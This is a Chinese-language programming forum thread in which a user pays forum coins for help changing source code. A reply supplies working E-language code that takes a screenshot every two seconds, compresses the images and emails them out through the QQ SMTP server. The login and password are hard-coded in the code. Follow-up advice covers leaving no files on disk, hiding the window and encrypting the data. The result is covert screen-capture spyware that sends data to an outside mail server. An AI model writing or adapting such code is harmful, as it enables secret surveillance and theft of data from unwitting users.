80精币，求助一个问题，只需要改一下源码。

769361761

关于截图问题，这个源码是2分钟截图打包发送到邮箱，我的要求是，2秒一张图，然后全部打包发送到邮箱，改好80精币

睿思Online

如有帮助，最给最佳

青舟

给你一个思路。。 放在一个文件夹里面，然后，压缩。。。

洃铯‰感伤

没接触过。楼下大神帮楼主改下。

月光族

应该修改好了

etkane

给你个思路吧,如果求图精度不高,可以打开内存文件,写到内存文件,到达一定大小或者数量,然后压缩到另一内存文件或者直接发送.这样在系统中不会产生任何文件.

769361761

etkane 发表于 2013-8-3 09:26
给你个思路吧,如果求图精度不高,可以打开内存文件,写到内存文件,到达一定大小或者数量,然后压缩到另一内存 ...

本人还算是菜鸟，能帮我修改一下上面的源码吗？ 80精币全部给你

睿思Online

被移动积分定制区，我的荣誉值就这么泡汤了

etkane

.版本 2
.支持库 internet
.支持库 dp1
.支持库 EThread

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

连接发信服务器 (“smtp.qq.com”, 25, “466066363”, “caiqinbao7439363”, 2000)
计次 ＝ 1
发送编号 ＝ 1

.子程序 _时钟1_周期事件
.局部变量 临时计数, 整数型

字节集 ＝ 字节集 ＋ 压缩数据 (快照 (, -50, -50))
字节集 ＝ 字节集 ＋ { 0 }

.如果真 (计次 ＝ 60)
    计次 ＝ 0
    重定义数组 (待发送数据, 真, 发送编号)
    重定义数组 (线程编号, 真, 发送编号)
    待发送数据 [发送编号] ＝ 字节集
    启动线程 (&打包发送数据, 发送编号, 线程编号 [发送编号])
    字节集 ＝ {  }
    发送编号 ＝ 发送编号 ＋ 1
.如果真结束
计次 ＝ 计次 ＋ 1






.子程序 打包发送数据
.参数 发送编号参数, 整数型
.局部变量 本线程编号

本线程编号 ＝ 线程编号 [发送编号参数]
线程编号 [发送编号参数] ＝ 0
添加附件数据 (待发送数据 [发送编号参数], 到文本 (取现行时间 ()))
.如果真 (发送邮件 (“”, “”, “466066363@qq.com”, , , “466066363@qq.com”, ) ≠ “”)
    打包发送数据 (发送编号参数)
.如果真结束
待发送数据 [发送编号参数] ＝ {  }
关闭线程句柄 (本线程编号)

etkane

你还可以在窗口即将关闭上加入发送未发送的数据,或者隐藏启动窗口.

另外,如果对比例要求不严格的话,可以采用图片组.

接收到文件后,采用读入文件,然后分割字节集,参数用{},然后计次循环即可写出指定图片.

内容已压缩,当然你也可以选择加密